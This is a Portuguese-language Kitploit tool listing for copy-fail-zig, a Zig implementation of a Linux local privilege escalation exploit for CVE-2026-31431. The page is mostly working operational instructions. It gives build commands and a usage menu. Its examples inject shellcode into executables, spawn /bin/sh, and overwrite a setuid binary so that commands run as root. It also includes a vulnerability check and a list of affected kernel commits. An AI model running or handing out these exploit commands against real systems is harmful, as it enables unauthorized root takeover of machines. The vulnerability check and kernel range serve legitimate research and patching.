Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
copy-fail-zig — Implementação em Zig do LPE Copy Fail do Linux (CVE-2026-31431), fornecendo um binário autônomo para explorar a vulnerabilidade para pesquisa de segurança e detecção defensiva, incluindo injeção de shellcode e verificações de vulnerabilidade do sistema. | Kitploit
Ferramentas/GitHubGitHub/emmmmllll/copy-fail-zig
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubemmmmllll/copy-fail-zig

copy-fail-zig

Implementação em Zig do LPE Copy Fail do Linux (CVE-2026-31431), fornecendo um binário autônomo para explorar a vulnerabilidade para pesquisa de segurança e detecção defensiva, incluindo injeção de shellcode e verificações de vulnerabilidade do sistema.

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Implementação em Zig do Copy Fail (CVE-2026-31431)

Implementação em Zig do proof of concept de 732 Bytes para o LPE do Linux Copy Fail (CVE-2026-31431), divulgado pela Theori / Xint em 29 de abril de 2026 O writeup pode ser encontrado em copy.fail.

Esta implementação não possui dependências em tempo de execução e pode ser executada como um binário autônomo.

Build

Para compilar o exploit, é necessária a versão 0.16.0 ou superior do zig, que pode ser instalada em ziglang.org. Para compilar o exploit, execute o seguinte comando no terminal:

root@kitploit:~
zig build

Opcionalmente, pode ser compilado de forma cruzada para um Target diferente ex.:

root@kitploit:~
zig build -Dcpu=baseline -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSmall

ou com payloads não compactados

root@kitploit:~
zig build -Dcompress=false

Uso

execute o binário compilado ou use o zig para executá-lo

root@kitploit:~
zig-out/bin/copyfail
OU
zig build run
root@kitploit:~
$ zig-out/bin/copyfail
Uso:
  run     <caminho> <dados> [offset] [-- args...] - Escreve dados no executável no offset informado (padrão 0) e o executa
  sudo    <caminho_suid>   [comando...]          - Executa um comando como root escrevendo shellcode em um binário suid. 
                                                (o primeiro argumento do comando deve ser o caminho completo para o programa a ser executado)
  modify  <caminho> <dados> [offset]              - Escreve dados no arquivo no offset informado (padrão 0)
  reset   <caminho>                              - Restaura o arquivo ao seu estado original
  help                                        - Mostra esta mensagem

O executável pode ser executado com diferentes comandos:

run primeiro escreve os dados fornecidos no offset informado (padrão 0) no executável no caminho fornecido e, em seguida, o executa. Após a execução ser concluída, o arquivo é restaurado ao seu estado original usando posix_fadvise.

Exemplo:

root@kitploit:~
copyfail run /caminho/para/exe $(cat shellcode_bin) -- /bin/sh

sudo escreve o shellcode incluído em um binário suid e o executa para rodar um comando como root. O código-fonte do shellcode pode ser encontrado em payloads/sudo.zig. O primeiro argumento do comando deve ser o caminho completo para o programa, pois o shellcode não procura pelo programa a ser executado. Após a execução ser concluída, o arquivo é restaurado como no comando run.

Exemplo:

root@kitploit:~
$ copyfail sudo /usr/bin/su /usr/bin/whoami
root

modify escreve os dados fornecidos no offset informado (padrão 0) no arquivo no caminho fornecido, sem executá-lo. Após a modificação, o arquivo NÃO é restaurado. Use o comando reset para restaurá-lo.

Exemplo:

root@kitploit:~
copyfail modify /caminho/para/arquivo "Meu novo conteúdo" 1337

reset restaura o arquivo no caminho fornecido ao seu estado original usando posix_fadvise. Isso descarta a página em cache e lerá o conteúdo do disco quando acessado novamente.

Exemplo:

root@kitploit:~
copyfail reset /caminho/para/arquivo

is_vulnerable verifica se o sistema é vulnerável criando um arquivo temporário, escrevendo dados de teste nele e lendo-os de volta para ver se os dados foram corrompidos.

Exemplo:

root@kitploit:~
$ copyfail is_vulnerable
aviso: O sistema é vulnerável
OU
info: O sistema não é vulnerável

help imprime a mensagem de uso.

Kernels afetados (de copy-fail-c)

root@kitploit:~
piso:    torvalds/linux 72548b093ee3   agosto de 2017, v4.14
                                        (rework do iov_iter do AF_ALG que
                                         introduziu a primitiva de escrita
                                         em página de arquivo via splice no
                                         scatterlist do AEAD)

teto:  torvalds/linux a664bf3d603d   abril de 2026, mainline
                                        (reverte a otimização in-place do
                                         algif_aead de 2017; separa os
                                         scatterlists de origem e destino
                                         para que páginas do cache de página
                                         não possam mais ser um destino de
                                         criptografia gravável)

Entre eles: todos os kernels de grandes distribuições que não aplicaram o backport da correção. Ubuntu, RHEL, SUSE, Amazon Linux e Debian foram todos confirmados como vulneráveis em seus kernels padrão de imagem em nuvem no momento da divulgação. Os backports em nível de distribuição começaram a ser lançados por volta de 2026-04-29 junto com a divulgação pública. Para verificar se um kernel alvo está na janela, verifique se a664bf3d603d (ou seu backport específico da distribuição) está presente no git log do kernel ou no changelog da distribuição.

Licença e créditos

Descoberta e divulgação original do CVE-2026-31431: Theori / Xint. Writeup público em copy.fail.

Esta implementação em zig: Emmmmllll [email protected]

O compilador zig e a biblioteca padrão: Zig Software Foundation nos termos MIT https://codeberg.org/ziglang/zig.

O exploit e o payload são publicados para fins de pesquisa de segurança e detecção defensiva. O uso contra sistemas que você não possui ou para os quais não tem autorização explícita para testar é problema seu, não do autor.

Baixar ferramenta